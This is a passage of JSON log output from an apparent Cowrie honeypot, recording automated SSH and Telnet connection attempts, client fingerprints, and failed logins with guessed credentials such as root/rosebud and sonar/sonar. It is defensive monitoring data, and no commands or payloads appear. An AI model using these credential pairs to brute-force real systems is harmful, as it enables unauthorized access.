16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:18.598832Z","src_ip":"185.236.22.41","session":"8cdbc7e17594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rosebud","message":"login attempt [root/rosebud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:19.440907Z","src_ip":"185.236.22.41","session":"8cdbc7e17594","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:20.615417Z","src_ip":"185.236.22.41","session":"8cdbc7e17594","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56306,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3b09efc2fa5","protocol":"telnet","message":"New connection: 192.119.13.58:56306 (10.17.0.5:23) [session: d3b09efc2fa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:27.958962Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33594,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca9fef0bb140","protocol":"telnet","message":"New connection: 192.119.13.58:33594 (10.17.0.5:23) [session: ca9fef0bb140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:28.624463Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33210,"dst_ip":"10.17.0.5","dst_port":23,"session":"b58e19f569d0","protocol":"telnet","message":"New connection: 192.119.13.58:33210 (10.17.0.5:23) [session: b58e19f569d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:29.587164Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49414,"dst_ip":"10.17.0.5","dst_port":23,"session":"44a21c16e71b","protocol":"telnet","message":"New connection: 192.119.13.58:49414 (10.17.0.5:23) [session: 44a21c16e71b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:32.577237Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":32133,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1a0574874eb","protocol":"ssh","message":"New connection: 103.24.63.85:32133 (159.203.135.109:22) [session: c1a0574874eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:33.582365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:33.591095Z","src_ip":"103.24.63.85","session":"c1a0574874eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:33.803531Z","src_ip":"103.24.63.85","session":"c1a0574874eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:34.670748Z","src_ip":"103.24.63.85","session":"c1a0574874eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.151986360549927,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:34.739019Z","src_ip":"192.119.13.58","session":"b58e19f569d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:36.210412Z","src_ip":"103.24.63.85","session":"c1a0574874eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.949729681015015,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:38.283620Z","src_ip":"192.119.13.58","session":"e59cfc0fa58d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45162,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4f2f11f0690","protocol":"telnet","message":"New connection: 192.119.13.58:45162 (10.17.0.5:23) [session: c4f2f11f0690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:44.274280Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34416,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c41f3b8cc65","protocol":"telnet","message":"New connection: 192.119.13.58:34416 (10.17.0.5:23) [session: 1c41f3b8cc65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:48.947107Z"}
{"eventid":"cowrie.session.closed","duration":33.947837114334106,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:49.851198Z","src_ip":"192.119.13.58","session":"742d68fef0f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":37000,"dst_ip":"10.17.0.5","dst_port":22,"session":"3866b05594e7","protocol":"ssh","message":"New connection: 62.133.63.178:37000 (10.17.0.5:22) [session: 3866b05594e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:54.009697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:54.019123Z","src_ip":"62.133.63.178","session":"3866b05594e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:54.146129Z","src_ip":"62.133.63.178","session":"3866b05594e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456852","message":"login attempt [root/456852] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:54.528919Z","src_ip":"62.133.63.178","session":"3866b05594e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:55.660021Z","src_ip":"62.133.63.178","session":"3866b05594e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44858,"dst_ip":"10.17.0.5","dst_port":23,"session":"4819dd63ddef","protocol":"telnet","message":"New connection: 192.119.13.58:44858 (10.17.0.5:23) [session: 4819dd63ddef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:58.218333Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34264,"dst_ip":"10.17.0.5","dst_port":23,"session":"990023e6747e","protocol":"telnet","message":"New connection: 192.119.13.58:34264 (10.17.0.5:23) [session: 990023e6747e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:03.939871Z"}
{"eventid":"cowrie.session.closed","duration":34.53335642814636,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:07.110497Z","src_ip":"192.119.13.58","session":"44a21c16e71b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.82986044883728,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:08.454208Z","src_ip":"192.119.13.58","session":"ca9fef0bb140","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47208,"dst_ip":"10.17.0.5","dst_port":23,"session":"75958f15da74","protocol":"telnet","message":"New connection: 192.119.13.58:47208 (10.17.0.5:23) [session: 75958f15da74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:12.994026Z"}
{"eventid":"cowrie.session.closed","duration":45.34572434425354,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:13.304565Z","src_ip":"192.119.13.58","session":"d3b09efc2fa5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.181.124.9","src_port":38166,"dst_ip":"159.203.135.109","dst_port":22,"session":"9975670861fa","protocol":"ssh","message":"New connection: 5.181.124.9:38166 (159.203.135.109:22) [session: 9975670861fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:16.960607Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37658,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff2753123f66","protocol":"telnet","message":"New connection: 192.119.13.58:37658 (10.17.0.5:23) [session: ff2753123f66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:18.393520Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":38370,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b94ac7be942","protocol":"ssh","message":"New connection: 103.77.175.15:38370 (10.17.0.5:22) [session: 4b94ac7be942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:19.910397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:19.914780Z","src_ip":"103.77.175.15","session":"4b94ac7be942","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:20.171146Z","src_ip":"103.77.175.15","session":"4b94ac7be942","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:20.586613Z","src_ip":"5.181.124.9","session":"9975670861fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:20.667825Z","src_ip":"5.181.124.9","session":"9975670861fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vaz21099","message":"login attempt [root/vaz21099] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:20.944397Z","src_ip":"103.77.175.15","session":"4b94ac7be942","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:22.205687Z","src_ip":"103.77.175.15","session":"4b94ac7be942","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":38532,"dst_ip":"159.203.135.109","dst_port":22,"session":"13318fc02ddf","protocol":"ssh","message":"New connection: 103.77.242.62:38532 (159.203.135.109:22) [session: 13318fc02ddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:22.233437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:22.248612Z","src_ip":"103.77.242.62","session":"13318fc02ddf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:22.494881Z","src_ip":"103.77.242.62","session":"13318fc02ddf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stasik","message":"login attempt [root/stasik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:23.233235Z","src_ip":"103.77.242.62","session":"13318fc02ddf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.3816192150116,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:23.655804Z","src_ip":"192.119.13.58","session":"c4f2f11f0690","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.96227693557739,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:23.909271Z","src_ip":"192.119.13.58","session":"1c41f3b8cc65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:24.482081Z","src_ip":"103.77.242.62","session":"13318fc02ddf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39464,"dst_ip":"10.17.0.5","dst_port":23,"session":"74cfe9373821","protocol":"telnet","message":"New connection: 192.119.13.58:39464 (10.17.0.5:23) [session: 74cfe9373821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:33.635859Z"}
{"eventid":"cowrie.session.closed","duration":30.065398931503296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:34.005145Z","src_ip":"192.119.13.58","session":"990023e6747e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":58332,"dst_ip":"10.17.0.5","dst_port":22,"session":"282211161fde","protocol":"ssh","message":"New connection: 103.149.170.125:58332 (10.17.0.5:22) [session: 282211161fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:35.801780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:35.807250Z","src_ip":"103.149.170.125","session":"282211161fde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:36.088508Z","src_ip":"103.149.170.125","session":"282211161fde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"predator","message":"login attempt [root/predator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:37.236310Z","src_ip":"103.149.170.125","session":"282211161fde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:38.522640Z","src_ip":"103.149.170.125","session":"282211161fde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":52412,"dst_ip":"159.203.135.109","dst_port":22,"session":"5eae63c6cf2e","protocol":"ssh","message":"New connection: 103.24.63.85:52412 (159.203.135.109:22) [session: 5eae63c6cf2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:40.853350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:40.859271Z","src_ip":"103.24.63.85","session":"5eae63c6cf2e","protocol":"ssh"}
